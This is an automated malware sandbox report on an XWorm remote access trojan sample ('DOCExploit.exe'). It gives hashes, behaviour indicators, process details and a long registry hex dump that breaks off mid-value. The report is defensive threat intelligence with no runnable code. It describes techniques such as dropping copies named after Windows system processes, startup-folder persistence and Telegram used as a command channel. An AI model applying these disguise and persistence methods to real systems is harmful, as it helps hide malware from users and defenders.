File name:

DOCExploit.exe

Full analysis: https://app.any.run/tasks/ca426db5-97a8-4655-998a-e358aa32e69a
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

Malware Trends Tracker     >>>
Analysis date: September 20, 2024, 15:24:12
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
telegram
autoit
xworm
remote
upx
crypto-regex
ims-api
generic
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

73DBDE7EDC03E2BCCADB0E033FA54560

SHA1:

3C6FE1A2F1FE7120B97EB63B20457D2DE8213D0E

SHA256:

6666FE51813047DA0E83262949E83A1B59214ECE4B1B2F3F53D8A31460E0569F

SSDEEP:

49152:XzhNk2jKqvopedbA2FgT9NeWC46jnoTR6eGyTs5fFvctsnUKSaFVFWLDWygVK9/h:jhhKqAaUYcNm5AIJyg5flUpaFXWLDhgW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • svchost.exe (PID: 1020)
      • csrss.exe (PID: 2492)

    • XWORM has been detected (YARA)

      • svchost.exe (PID: 1020)

    • XWORM has been detected (SURICATA)

      • svchost.exe (PID: 1020)

    • Connects to the CnC server

      • svchost.exe (PID: 1020)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • DOCExploit.exe (PID: 3972)

    • Reads the date of Windows installation

      • DOCExploit.exe (PID: 3972)

    • Process drops legitimate windows executable

      • DOCExploit.exe (PID: 3972)

    • The process creates files with name similar to system file names

      • DOCExploit.exe (PID: 3972)

    • Executable content was dropped or overwritten

      • DOCExploit.exe (PID: 3972)
      • DOC Exploit.exe (PID: 5512)

    • There is functionality for taking screenshot (YARA)

      • DOC Exploit.exe (PID: 5512)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • svchost.exe (PID: 1020)
      • csrss.exe (PID: 2492)

    • Found regular expressions for crypto-addresses (YARA)

      • svchost.exe (PID: 1020)
      • csrss.exe (PID: 2492)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • svchost.exe (PID: 1020)

    • Connects to unusual port

      • svchost.exe (PID: 1020)

    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 1020)

  • INFO

    • Reads the computer name

      • DOCExploit.exe (PID: 3972)
      • svchost.exe (PID: 1020)
      • csrss.exe (PID: 2492)
      • DOC Exploit.exe (PID: 5512)

    • Reads the machine GUID from the registry

      • DOCExploit.exe (PID: 3972)
      • csrss.exe (PID: 2492)
      • svchost.exe (PID: 1020)

    • Checks supported languages

      • DOCExploit.exe (PID: 3972)
      • DOC Exploit.exe (PID: 5512)
      • svchost.exe (PID: 1020)
      • csrss.exe (PID: 2492)

    • The process uses the downloaded file

      • DOCExploit.exe (PID: 3972)

    • Creates files or folders in the user directory

      • DOCExploit.exe (PID: 3972)
      • svchost.exe (PID: 1020)
      • csrss.exe (PID: 2492)

    • Process checks computer location settings

      • DOCExploit.exe (PID: 3972)

    • Creates files in the program directory

      • DOCExploit.exe (PID: 3972)

    • Reads mouse settings

      • DOC Exploit.exe (PID: 5512)

    • The process uses AutoIt

      • DOC Exploit.exe (PID: 5512)

    • UPX packer has been detected

      • DOC Exploit.exe (PID: 5512)

    • Attempting to use instant messaging service

      • svchost.exe (PID: 1020)

    • Create files in a temporary directory

      • DOC Exploit.exe (PID: 5512)

    • Reads Environment values

      • svchost.exe (PID: 1020)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (63.1)
.exe | Win64 Executable (generic) (23.8)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.8)
.exe | Generic Win/DOS Executable (1.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:08:26 19:36:41+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 941056
InitializedDataSize: 372224
UninitializedDataSize: -
EntryPoint: 0xe7a4e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 0.0.0.0
InternalName: DOC Exploit.exe
LegalCopyright:
OriginalFileName: DOC Exploit.exe
ProductVersion: 0.0.0.0
AssemblyVersion: 0.0.0.0
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
124
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start docexploit.exe THREAT doc exploit.exe #XWORM svchost.exe THREAT csrss.exe

Process information

PID
CMD
Path
Indicators
Parent process
1020"C:\Users\admin\AppData\Roaming\svchost.exe" C:\Users\admin\AppData\Roaming\svchost.exe
DOCExploit.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Version:
6.2.22621.1
Modules
Images
c:\users\admin\appdata\roaming\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2492"C:\ProgramData\csrss.exe" C:\ProgramData\csrss.exe
DOCExploit.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Client Server Runtime Process
Version:
6.2.22621.1
Modules
Images
c:\programdata\csrss.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3972"C:\Users\admin\Desktop\DOCExploit.exe" C:\Users\admin\Desktop\DOCExploit.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
0.0.0.0
Modules
Images
c:\users\admin\desktop\docexploit.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
5512"C:\Users\admin\Desktop\DOC Exploit.exe" C:\Users\admin\Desktop\DOC Exploit.exe
DOCExploit.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\desktop\doc exploit.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\psapi.dll
Total events
6 273
Read events
6 262
Write events
10
Delete events
1

Modification events

(PID) Process:(3972) DOCExploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SlowContextMenuEntries
Value:
6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device
Operation:writeName:FriendlyName
Value:
Default MidiOut Device
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device
Operation:writeName:CLSID
Value:
{07B65360-C445-11CE-AFDE-00AA006C14F4}
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device
Operation:writeName:FilterData
Value:
02000000000080000100000000000000307069330200000000000000010000000000000000000000307479330000000038000000480000006D69647300001000800000AA00389B7100000000000000000000000000000000
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device
Operation:writeName:MidiOutId
Value:
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{E0F158E1-CB04-11D0-BD4E-00A0C911CE86}\Default DirectSound Device
Operation:writeName:FriendlyName
Value:
Default DirectSound Device
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{E0F158E1-CB04-11D0-BD4E-00A0C911CE86}\Default DirectSound Device
Operation:writeName:CLSID
Value:
{79376820-07D0-11CF-A24D-0020AFD79767}
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{E0F158E1-CB04-11D0-BD4E-00A0C911CE86}\Default DirectSound Device
Operation:writeName:FilterData
Value:
0200000000008000010000000000000030706933020000000000000013000000000000000000000030747933000000005801000068010000317479330000000058010000780100003274793300000000580100008801000033747933000000005801000098010000347479330000000058010000A8010000357479330000000058010000B8010000367479330000000058010000C8010000377479330000000058010000D8010000387479330000000058010000E8010000397479330000000058010000F80100003A7479330000000058010000080200003B7479330000000058010000180200003C7479330000000058010000280200003D7479330000000058010000380200003E7479330000000058010000480200003F7479330000000058010000580200004074793300000000580100006802000041747933000000005801000078020000427479330000000058010000880200006175647300001000800000AA00389B710100000000001000800000AA00389B710900000000001000800000AA00389B710300000000001000800000AA00389B714902000000001000800000AA00389B714002000000001000800000AA00389B714102000000001000800000AA00389B7103000000EA0C1000800000AA00389B7104000000EA0C1000800000AA00389B7105000000EA0C1000800000AA00389B7106000000EA0C1000800000AA00389B7108000000EA0C1000800000AA00389B7109000000EA0C1000800000AA00389B710A000000EA0C1000800000AA00389B710B000000EA0C1000800000AA00389B710C000000EA0C1000800000AA00389B710D000000EA0C1000800000AA00389B710800000000001000800000AA00389B719200000000001000800000AA00389B716401000000001000800000AA00389B71
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\ActiveMovie\devenum\{E0F158E1-CB04-11D0-BD4E-00A0C911CE86}\Default DirectSound Device
Operation:writeName:DSGuid
Value:
{00000000-0000-0000-0000-000000000000}
(PID) Process:(5512) DOC Exploit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\ActiveMovie\Filter Cache
Operation:writeName:0
Value:
084F00006568636600000000000000000201000000000000010020003500000040006400650076006900630065003A0064006D006F003A007B00320045004500420034004100440046002D0034003500370038002D0034004400310030002D0042004300410037002D004200420039003500350046003500360033003200300041007D007B00350037004600320044004200380042002D0045003600420042002D0034003500310033002D0039004400340033002D004400430044003200410036003500390033003100320035007D000000000040006400650076006900630065003A0064006D006F003A007B00350032003100300046003800450034002D0042003000420042002D0034003700430033002D0041003800440039002D003700420032003200380032004300430037003900450044007D007B00350037004600320044004200380042002D0045003600420042002D0034003500310033002D0039004400340033002D004400430044003200410036003500390033003100320035007D000000000040006400650076006900630065003A0064006D006F003A007B00380037003400310033003100430042002D0034004500430043002D0034003400330042002D0038003900340038002D003700340036004200380039003500390035004400320030007D007B00350037004600320044004200380042002D0045003600420042002D0034003500310033002D0039004400340033002D004400430044003200410036003500390033003100320035007D000000000040006400650076006900630065003A0064006D006F003A007B00420042004500450041003800340031002D0030004100360033002D0034004600350032002D0041003700410042002D004100390042003300410038003400450044003300380041007D007B00350037004600320044004200380042002D0045003600420042002D0034003500310033002D0039004400340033002D004400430044003200410036003500390033003100320035007D000000100040006400650076006900630065003A0064006D006F003A007B00320041003100310042004100450032002D0046004500360045002D0034003200340039002D0038003600340042002D003900450039004500440036004500380044004200430032007D007B00340041003600390042003400340032002D0032003800420045002D0034003900390031002D0039003600390043002D004200350030003000410044004600350044003800410038007D000000000040006400650076006900630065003A0064006D006F003A007B00370042004100460042003300420031002D0044003800460034002D0034003200370039002D0039003200350033002D003200370044004100340032003300310030003800440045007D007B00340041003600390042003400340032002D0032003800420045002D0034003900390031002D0039003600390043002D004200350030003000410044004600350044003800410038007D000000000040006400650076006900630065003A0064006D006F003A007B00380032004400330035003300440046002D0039003000420044002D0034003300380032002D0038004200430032002D003300460036003100390032004200370036004500330034007D007B00340041003600390042003400340032002D0032003800420045002D0034003900390031002D0039003600390043002D004200350030003000410044004600350044003800410038007D000000000040006400650076006900630065003A0064006D006F003A007B00430042004100390045003700380042002D0034003900410033002D0034003900450041002D0039003300440034002D003600420043004200410038004300340044004500300037007D007B00340041003600390042003400340032002D0032003800420045002D0034003900390031002D0039003600390043002D004200350030003000410044004600350044003800410038007D000000000040006400650076006900630065003A0064006D006F003A007B00460033003700310037003200380041002D0036003000350032002D0034004400340037002D0038003200370043002D004400300033003900330033003500440046004500300041007D007B00340041003600390042003400340032002D0032003800420045002D0034003900390031002D0039003600390043002D004200350030003000410044004600350044003800410038007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00310032003900440037004500340030002D0043003100300044002D0031003100440030002D0041004600420039002D003000300041004100300030004200360037004100340032007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00310036003400330045003100380030002D0039003000460035002D0031003100430045002D0039003700440035002D003000300041004100300030003500350035003900350041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00310038003700340036003300410030002D0035004200420037002D0031003100440033002D0041004300420045002D003000300038003000430037003500450032003400360045007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00310042003500340034004300320030002D0046004400300042002D0031003100430045002D0038004300360033002D003000300041004100300030003400340042003500310045007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00310044004100300038003500300030002D0039004500440043002D0031003100430046002D0042004300310030002D003000300041004100300030004100430037003400460036007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00320031003200360039003000460042002D0038003300450035002D0034003500320036002D0038004600440037002D003700340034003700380042003700390033003900430044007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00320038003000410033003000320030002D0038003600430046002D0031003100440031002D0041004200450036002D003000300041003000430039003000350046003300370035007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00330030003100300035003600440030002D0036004400460046002D0031003100440032002D0039004500450042002D003000300036003000300038003000330039004500330037007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00330033003600340037003500440030002D0039003400320041002D0031003100430045002D0041003800370030002D003000300041004100300030003200460045004100420035007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00330033004600410043004600450030002D0041003900420045002D0031003100440030002D0041003500320030002D003000300041003000440031003000310032003900430030007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00330037003000410031004400350044002D0044004400450042002D0034003100380043002D0038003100430044002D003100380039004500300044003400460041003400340033007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00330041004500380036004200320030002D0037004200450038002D0031003100440031002D0041004200450036002D003000300041003000430039003000350046003300370035007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00340038003000320035003200340033002D0032004400330039002D0031003100430045002D0038003700350044002D003000300036003000380043004200370038003000360036007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00340041003200320038003600450030002D0037004200450046002D0031003100430045002D0039004200440039002D003000300030003000450032003000320035003900390043007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00340045004200330031003600370030002D0039004600430036002D0031003100430046002D0041004600360045002D003000300041004100300030004200360037004100340032007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00360041003000380043004600380030002D0030004500310038002D0031003100430046002D0041003200340044002D003000300032003000410046004400370039003700360037007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00360042004300310043004600460041002D0038004600430031002D0034003200360031002D0041004300320032002D004300460042003400430043003300380044004200350030007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00360045003800440034004100320030002D0033003100300043002D0031003100440030002D0042003700390041002D003000300041004100300030003300370036003700410037007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00360046003200360041003600430044002D0039003600370042002D0034003700460044002D0038003700340041002D003700410045004400320043003900440032003500410032007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00370030004500310030003200420030002D0035003500350036002D0031003100430045002D0039003700430030002D003000300041004100300030003500350035003900350041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00370043003200330032003200300045002D0035003500420042002D0031003100440033002D0038004200310036002D003000300043003000340046004200360042004400330044007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00380031003400420039003800300030002D0031004300380038002D0031003100440031002D0042004100440039002D003000300036003000390037003400340031003100310041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00410038003800380044004600360030002D0031004500390030002D0031003100430046002D0041004300390038002D003000300041004100300030003400430030004600410039007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00410046004200360043003200380030002D0032004300340031002D0031003100440033002D0038004100360030002D003000300030003000460038003100450030004500340041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00420031004200370037004300300030002D0043003300450034002D0031003100430046002D0041004600370039002D003000300041004100300030004200360037004100340032007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00430036003600360045003100310035002D0042004200360032002D0034003000320037002D0041003100310033002D003800320044003600340033004600450032004400390039007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00430046003400390044003400450030002D0031003100310035002D0031003100430045002D0042003000330041002D003000300032003000410046003000420041003700370030007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00440033003500380038004100420030002D0030003700380031002D0031003100430045002D0042003000330041002D003000300032003000410046003000420041003700370030007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00440035003100420044003500410031002D0037003500340038002D0031003100430046002D0041003500320030002D003000300038003000430037003700450046003500380041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00440035003100420044003500410032002D0037003500340038002D0031003100430046002D0041003500320030002D003000300038003000430037003700450046003500380041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00440035003100420044003500410033002D0037003500340038002D0031003100430046002D0041003500320030002D003000300038003000430037003700450046003500380041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00440035003100420044003500410035002D0037003500340038002D0031003100430046002D0041003500320030002D003000300038003000430037003700450046003500380041007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00450031004600310041003000420038002D0042004500450045002D0034003900300044002D0042004100370043002D003000360036004300340030004200350045003200420039007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00450034003200300036003400330032002D0030003100410031002D0034004200450045002D0042003300450031002D003300370030003200430038004500440043003500370034007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00450034003300360045004200420035002D0035003200340046002D0031003100430045002D0039004600350033002D003000300032003000410046003000420041003700370030007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00450034003300360045004200420036002D0035003200340046002D0031003100430045002D0039004600350033002D003000300032003000410046003000420041003700370030007D000000000040006400650076006900630065003A00730077003A007B00300038003300380036003300460031002D0037003000440045002D0031003100440030002D0042004400340030002D003000300041003000430039003100310043004500380036007D005C007B00460045004200350030003700340030002D0037004200450046002D0031003100430045002D0039004200440039002D003000300030003000450032003000320035003900390043007D000000000040006400650076006900630065003A00730077003A007B00340041003500360041004600330032002D0043003200310046002D0031003100440042002D0039003600460041002D003000300035003000350036004300300030003000300038007D005C005000420044004100200044005400460069006C00740065007200000040006400650076006900630065003A0063006D003A007B00340045004600450032003400350032002D0031003600380041002D0031003100440031002D0042004300370036002D003000300043003000340046004200390034003500330042007D005C00440065006600610075006C00740020004D006900640069004F007500740020004400650076006900630065000000000040006400650076006900630065003A00730077003A007B00390043003200340041003900370037002D0030003900350031002D0034003500310041002D0038003000300036002D003000450034003900420044003200380043004400350046007D005C00560042004900200043006F00640065006300000040006400650076006900630065003A00730077003A007B00410032004500330030003700340046002D0036004300330044002D0031003100440033002D0042003600350033002D003000300043003000340046003700390034003900380045007D005C0042004400410020004D00500045004700320020005400720061006E00730070006F0072007400200049006E0066006F0072006D006100740069006F006E002000460069006C007400650072000000000040006400650076006900630065003A00730077003A007B00410032004500330030003700340046002D0036004300330044002D0031003100440033002D0042003600350033002D003000300043003000340046003700390034003900380045007D005C004D005000450047002D0032002000530065006300740069006F006E007300200061006E00640020005400610062006C00650073000000000040006400650076006900630065003A00730077003A007B00430034004300340043003400460043002D0030003000340039002D0034004500320042002D0039003800460042002D003900350033003700460036004300450035003100360044007D005C0044006500630072007900700074002F00540061006700000040006400650076006900630065003A0063006D003A007B00450030004600310035003800450031002D0043004200300034002D0031003100440030002D0042004400340045002D003000300041003000430039003100310043004500380036007D005C00440065006600610075006C007400200044006900720065006300740053006F0075006E00640020004400650076006900630065000000000074616466020000000008800002000000000000003070693300000000000000000400000000000000000000003074793300000000082100001821000031747933000000000821000028210000327479330000000008210000382100003374793300000000082100004821000031706933080000000000000002000000000000000000000030747933000000000821000058210000317479330000000008210000682100000200000000086000020000000000000030706933000000000000000001000000000000000000000030747933000000000821000038210000317069330800000000000000010000000000000000000000307479330000000008210000782100000200000000086000020000000000000030706933000000000000000002000000000000000000000030747933000000000821000088210000317479330000000008210000982100003170693308000000000000000100000000000000000000003074793300000000082100005821000002000000000860000200000000000000307069330000000000000000010000000000000000000000307479330000000008210000A821000031706933080000000000000001000000000000000000000030747933000000000821000058210000020000000100800002000000000000003070693300000000000000000A00000000000000000000003074793300000000B8210000C82100003174793300000000B8210000D82100003274793300000000B8210000E82100003374793300000000B8210000F82100003474793300000000B8210000082200003574793300000000B8210000182200003674793300000000B8210000282200003774793300000000B8210000382200003874793300000000B8210000482200003974793300000000B8210000582200003170693308000000000000000A00000000000000000000003074793300000000B8210000682200003174793300000000B8210000782200003274793300000000B8210000882200003374793300000000B8210000982200003474793300000000B8210000A82200003574793300000000B8210000B82200003674793300000000B8210000C82200003774793300000000B8210000D82200003874793300000000B8210000E82200003974793300000000B8210000F8220000020000000008600002000000000000003070693300000000000000000200000000000000000000003074793300000000B8210000082300003174793300000000B8210000182300003170693308000000000000000600000000000000000000003074793300000000B8210000D82200003174793300000000B8210000C82200003274793300000000B8210000282300003374793300000000B8210000E82200003474793300000000B8210000F82200003574793300000000B821000038230000020000000100800002000000000000003070693300000000000000000800000000000000000000003074793300000000B8210000482300003174793300000000B8210000582300003274793300000000B8210000682300003374793300000000B8210000782300003474793300000000B8210000882300003574793300000000B8210000982300003674793300000000B8210000A82300003774793300000000B8210000B82300003170693308000000000000000A00000000000000000000003074793300000000B8210000682200003174793300000000B8210000782200003274793300000000B8210000882200003374793300000000B8210000982200003474793300000000B8210000A82200003574793300000000B8210000B82200003674793300000000B8210000C82200003774793300000000B8210000D82200003874793300000000B8210000E82200003974793300000000B8210000F8220000020000000100800002000000000000003070693300000000000000000200000000000000000000003074793300000000B8210000C82300003174793300000000B8210000D82300003170693308000000000000000900000000000000000000003074793300000000B8210000782200003174793300000000B8210000882200003274793300000000B8210000982200003374793300000000B8210000A82200003474793300000000B8210000C82200003574793300000000B8210000D82200003674793300000000B8210000E82200003774793300000000B8210000F82200003874793300000000B821000038230000020000000100800002000000000000003070693300000000000000000400000000000000000000003074793300000000B8210000E82300003174793300000000B8210000F82300003274793300000000B8210000082400003374793300000000B8210000182400003170693308000000000000000900000000000000000000003074793300000000B8210000782200003174793300000000B8210000882200003274793300000000B8210000982200003374793300000000B8210000A82200003474793300000000B8210000C82200003574793300000000B8210000D82200003674793300000000B8210000E82200003774793300000000B8210000F82200003874793300000000B82100003823000002000000000040000000000000000000020000000100400002000000000000003070693300000000000000000600000000000000000000003074793300000000B8210000382300003174793300000000B8210000F82200003274793300000000B8210000E82200003374793300000000B8210000D82200003474793300000000B8210000C82200003574793300000000B8210000282300003170693308000000000000000600000000000000000000003074793300000000B8210000382300003174793300000000B8210000F82200003274793300000000B8210000E82200003374793300000000B8210000D82200003474793300000000B8210000C82200003574793300000000B8210000282300000200000000004000000000000000000002000000000060000200000000000000307069330000000000000000010000000000000000000000307479330000000028240000382400003170693308000000000000000100000000000000000000003074793300000000B821000048240000020000000000400002000000000000003070693300000000000000000100000000000000000000003074793300000000B8210000382300003170693308000000000000000100000000000000000000003074793300000000B82100005824000002000000FFFF5F0006000000000000003070693300000000000000000A0000000000000000000000307479330000000068240000782400003174793300000000B821000078240000327479330000000088240000782400003374793300000000B8210000982400003474793300000000B8210000A82400003574793300000000B8210000B82400003674793300000000B8210000C82400003774793300000000B8210000D82400003874793300000000B8210000E82400003974793300000000B8210000F8240000317069330000000000000000010000000000000000000000307479330000000068240000082500003270693308000000000000000A00000000000000000000003074793300000000B8210000182500003174793300000000B8210000282500003274793300000000B8210000B82200003374793300000000B8210000382500003474793300000000B8210000782200003574793300000000B8210000682200003674793300000000B8210000482500003774793300000000B8210000582500003874793300000000B8210000682500003974793300000000B821000078250000337069330800000000000000010000000000000000000000307479330000000088250000982500003470693308000000000000000400000000000000000000003074793300000000B8210000A82500003174793300000000B8210000B82500003274793300000000B8210000C82500003374793300000000B8210000282300003570693308000000000000000A00000000000000000000003074793300000000B8210000182500003174793300000000B821